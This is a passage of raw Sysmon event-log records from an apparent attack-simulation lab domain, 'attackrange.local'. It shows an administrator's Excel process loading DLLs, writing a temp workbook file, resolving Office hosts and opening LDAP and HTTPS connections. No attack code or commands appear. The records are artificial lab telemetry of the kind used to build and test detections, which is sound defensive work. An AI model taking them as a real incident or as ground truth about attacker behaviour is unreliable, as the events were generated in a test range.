Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=D83292825287C5EA8B75C4D16C883548,SHA256=D85D8A666FC5AEFC8992B014089294F5285305B2B12ACDB4D53C029FCA99B5C6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000048839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.227{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\coml2.dll10.0.14393.2608 (rs1_release.181024-1742)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOML2.DLLMD5=F51CCB7A95B83C1327390BF672AFD328,SHA256=850E50B525EF51374B880146E26464D10A8B1DAE1E0307F7B27DC7322824F2BF,IMPHASH=B74E4EE6BBCE405BE73914241C9AF2C8trueMicrosoft WindowsValid 23542300x800000000000000048838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.243{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=EE176543C44EB978E885EB77DAFCB769,SHA256=6EBBA66AD6A7EEC95216D6C43A3ECFEC7B50346D4BECEB614F010FAFA2EA575A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000048837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\d3d10_1core.dll10.0.14393.0 (rs1_release.160715-1616)Direct3D 10.1 RuntimeMicrosoft® Windows® Operating SystemMicrosoft CorporationD3D10_1Core.dllMD5=AD41EACFB2A670E17F2C09F8AB06F428,SHA256=208B4CF05936AC21EB0337FB17B1B8F12D778A6E880435C589202457EB0CF73E,IMPHASH=2F4B6F3B1235FFDDBA38CB41113AC1ABtrueMicrosoft WindowsValid 734700x800000000000000048836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\d3d10_1.dll10.0.14393.0 (rs1_release.160715-1616)Direct3D 10.1 RuntimeMicrosoft® Windows® Operating SystemMicrosoft CorporationD3D10_1.dllMD5=9945D52ACD8FED11F0A636F916C4FF16,SHA256=97C5A99ED38F8516133D6B95070C5998BAAE75EAEF730531D91B81FEE4B81D82,IMPHASH=33237B27FBA853C7DF13D3718D14534FtrueMicrosoft WindowsValid 734700x800000000000000048835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\directmanipulation.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Direct Manipulation ComponentMicrosoft® Windows® Operating SystemMicrosoft Corporationdirectmanipulation.dllMD5=EA7CE188E0D1E66C361C8B87304EACDE,SHA256=9ADCA2B7554173A0FD8833F65935C151B09A5D790F46E9EC4EE25E9622F1159A,IMPHASH=D9F27AFFC8B05CE56A2B9B9CD5B4C9B5trueMicrosoft WindowsValid 23542300x800000000000000048834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.227{7BD73061-727B-613B-4A0B-00000000F001}6276ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEC:\Temp\~$My documents for Chris.xlsbMD5=516BF24DEB7FA1C565AE6FE59E3191D2,SHA256=8F122167BDEA8D3B4104B425AB078900660D87DCE20BD08B288165CB2BEB4474,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000048833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.211{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\mpr.dll10.0.14393.2879 (rs1_release_inmarket.190313-1855)Multiple Provider Router DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmpr.dllMD5=0E56DB60C434D51769F2DAC48B9AA686,SHA256=3F9AED98B1B7F6A59C219F622FD91C7FD20BFE280935F5334920A02ECCAE7ED6,IMPHASH=46ADE2B067E724C7163A0B1902FEF225trueMicrosoft WindowsValid 734700x800000000000000048832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.149{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\cabinet.dll5.00 (rs1_release.160715-1616)Microsoft® Cabinet File APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcabinet.dllMD5=08A4A2712DB2AE10E483FB74E46B0E73,SHA256=EEB32E3E4256CC9935227ACD5BA576B75F1F6FE3C818D2127513CB22F823FECB,IMPHASH=536E202FBC448C2C3B40D60D87620951trueMicrosoft WindowsValid 23542300x800000000000000048831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.102{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=75237F54ECD300132DDAC5BD2E211CCF,SHA256=AA6BCDA78B1403D3053A567345993818ACB99A16E19C17DDEA07ECB9319F4444,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000048830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.087{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000048829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.087{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\sppobjs.dll10.0.14393.4583 (rs1_release.210730-1850)Software Protection Platform PluginsMicrosoft® Windows® Operating SystemMicrosoft Corporationsppobjs.dllMD5=70045B78DCFD4DE800A61A51E60D83DC,SHA256=557A2F2C1F6E766E3CBE8A6E91F7614717848B754242097E820C32EED148A530,IMPHASH=3F129A5DDE381688F18B4CDFCFEC1059trueMicrosoft WindowsValid 734700x800000000000000048828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.071{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\Clipc.dll10.0.14393.0 (rs1_release.160715-1616)Client Licensing Platform ClientMicrosoft® Windows® Operating SystemMicrosoft CorporationClipC.dllMD5=C1ADE6C578AFD608EBC63BEB0F85ABD7,SHA256=7195914FD6FF035601607636E8EEFC58074852FD9983DB4A7E9DFEAEFA3D8382,IMPHASH=F8BABF073EFC135052FBFD9D3305CCC8trueMicrosoft WindowsValid 734700x800000000000000048827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.071{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\dsrole.dll10.0.14393.0 (rs1_release.160715-1616)DS Setup Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationDSROLE.DLLMD5=2A319EC8DF0FB5C46CF311B9D2B65B1D,SHA256=62B8900EFDF4B30E54E11232A8DA95DBF066DAEFD364A66EB99ADC028A3798F7,IMPHASH=E4AC0A0BD42B7356347D6A1BE150F6A6trueMicrosoft WindowsValid 734700x800000000000000048826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.071{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\sppwinob.dll10.0.14393.4530 (rs1_release.210705-0736)Software Protection Platform Windows PluginMicrosoft® Windows® Operating SystemMicrosoft Corporationsppwinob.dllMD5=131DCFFFD0F2560BCD89F6ECBCC8A2D1,SHA256=5FB678235EC5BB4417B9D69AD7095A6C13AC1C008FA2647BE09205434E57AA4A,IMPHASH=DA60CA14E358877365B29F1770051601trueMicrosoft WindowsValid 734700x800000000000000048825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.040{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\twinapi.dll10.0.14393.4169 (rs1_release.210107-1130)twinapiMicrosoft® Windows® Operating SystemMicrosoft Corporationtwinapi.dllMD5=40E4471EAFBC1AB4D40288BF005AB895,SHA256=E93454095918346B3426D55704F02DF6FBB1B840BF969CE619E3F10BA0AC9A44,IMPHASH=BE2A18E7131BB697F5E7CE37E2AEC582trueMicrosoft WindowsValid 10341000x800000000000000048824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.993{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.993{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.993{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\Office16\OART.DLL16.0.13801.20688Microsoft OfficeArtMicrosoft OfficeMicrosoft CorporationOART.DLLMD5=A4816E74F5F4F3A1D9B6637EB47C8B23,SHA256=9447582F286D97A4707BB8A6847398637D742E5ED653804EE94E495E3E3BF339,IMPHASH=9D94A2F008ABDA952A69A119AB7A9826trueMicrosoft CorporationValid 23542300x800000000000000016315Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:05.933{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B0687B185E3FC208B6AADFB4B6115F0,SHA256=973E71CAB88366F6751E83A313E89BC7A2EC308B533D8385002521AD1903767D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:05.821{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9EBBCB2D300D6C65A9357B4A0574C42E,SHA256=8E8575A5FE74CB348AF9D859528C9E051F03401EF4C72B8AA4451BE9FD31777A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016314Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:04.442{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50283-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 22542200x800000000000000048896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:05.042{7BD73061-727B-613B-4A0B-00000000F001}6276autodiscover.attackrange.local9003-C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 22542200x800000000000000048895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.065{7BD73061-727B-613B-4A0B-00000000F001}6276outlook.office.com0type: 5 substrate.office.com;type: 5 outlook.ha.office365.com;type: 5 outlook.ms-acdc.office.com;type: 5 FRA-efz.ms-acdc.office.com;::ffff:40.101.81.162;::ffff:40.101.18.34;::ffff:40.101.121.34;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 22542200x800000000000000048894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.029{7BD73061-727B-613B-4A0B-00000000F001}6276attackrange.local0::ffff:10.0.1.14;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 22542200x800000000000000048893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.901{7BD73061-727B-613B-4A0B-00000000F001}6276autodiscover-s.outlook.com0type: 5 outlook.office365.com;type: 5 outlook.ha.office365.com;type: 5 outlook.ms-acdc.office.com;type: 5 FRA-efz.ms-acdc.office.com;::ffff:40.101.121.34;::ffff:40.101.81.162;::ffff:40.101.18.34;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 354300x800000000000000048892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.630{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59494-false40.101.18.34-443https 354300x800000000000000048891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.627{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsefalse10.0.1.14win-dc-387.attackrange.local59495-false10.0.1.14win-dc-387.attackrange.local3268msft-gc 354300x800000000000000048890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.627{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59495-false10.0.1.14win-dc-387.attackrange.local3268msft-gc 354300x800000000000000048889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.379{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59493-false40.101.81.162-443https 354300x800000000000000048888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.368{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56815- 354300x800000000000000048887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.334{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58073- 354300x800000000000000048886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.216{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59491-false40.101.121.34-443https 10341000x800000000000000048885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:05.633{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ntdll.dll+6cd0a|C:\Windows\System32\KERNEL32.DLL+1cff8|C:\Windows\System32\KERNEL32.DLL+25a87|C:\Windows\sysmon64.exe+14ced|C:\Windows\sysmon64.exe+15adb|C:\Windows\sysmon64.exe+16c29|C:\Windows\sysmon64.exe+1abb1|C:\Windows\sysmon64.exe+1cfc7|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:05.633{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\sysmon64.exe+2682c|C:\Windows\sysmon64.exe+1cc6d|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000048883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.202{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54184- 354300x800000000000000048882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.102{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59489-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000048881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.102{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59489-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 10341000x800000000000000048880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:05.633{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ntdll.dll+6cd0a|C:\Windows\System32\KERNEL32.DLL+1cff8|C:\Windows\System32\KERNEL32.DLL+25a87|C:\Windows\sysmon64.exe+14ced|C:\Windows\sysmon64.exe+15adb|C:\Windows\sysmon64.exe+16c29|C:\Windows\sysmon64.exe+1abb1|C:\Windows\sysmon64.exe+1cfc7|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:05.633{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\sysmon64.exe+2682c|C:\Windows\sysmon64.exe+1cc6d|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000048878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:02.999{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59487-false20.190.160.6-443https 10341000x800000000000000048877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:05.633{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ntdll.dll+6cd0a|C:\Windows\System32\KERNEL32.DLL+1cff8|C:\Windows\System32\KERNEL32.DLL+25a87|C:\Windows\sysmon64.exe+14ced|C:\Windows\sysmon64.exe+15adb|C:\Windows\sysmon64.exe+16c29|C:\Windows\sysmon64.exe+1abb1|C:\Windows\sysmon64.exe+1cfc7|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:05.633{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\sysmon64.exe+2682c|C:\Windows\sysmon64.exe+1cc6d|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:06.825{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE11F7CFE0007C8A1A9AC8A71406CBBE,SHA256=CBE01AE070DDE1C8CB28C16B607A4B02F882B78087195B732B997A907A691CD7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016316Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:06.980{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=29B3F23E3D7D28FBA3943679779FFBE0,SHA256=1415C929943A025BEFA27921BBCEDE9E994E0BA0D428DB5F68FE05E61D2F7C61,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.861{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56234- 354300x800000000000000048904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.134{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59490-false52.109.28.64-443https 23542300x800000000000000048903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:06.420{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-052MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000048902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:06.418{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ntdll.dll+6cd0a|C:\Windows\System32\KERNEL32.DLL+1cff8|C:\Windows\System32\KERNEL32.DLL+25a87|C:\Windows\sysmon64.exe+14ced|C:\Windows\sysmon64.exe+15adb|C:\Windows\sysmon64.exe+16c29|C:\Windows\sysmon64.exe+1abb1|C:\Windows\sysmon64.exe+1cfc7|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:06.418{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\sysmon64.exe+2682c|C:\Windows\sysmon64.exe+1cc6d|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000048900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.028{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59488-false2.18.232.50a2-18-232-50.deploy.static.akamaitechnologies.com443https 10341000x800000000000000048899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:06.416{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ntdll.dll+6cd0a|C:\Windows\System32\KERNEL32.DLL+1cff8|C:\Windows\System32\KERNEL32.DLL+25a87|C:\Windows\sysmon64.exe+14ced|C:\Windows\sysmon64.exe+15adb|C:\Windows\sysmon64.exe+16c29|C:\Windows\sysmon64.exe+1abb1|C:\Windows\sysmon64.exe+1cfc7|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:06.416{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft 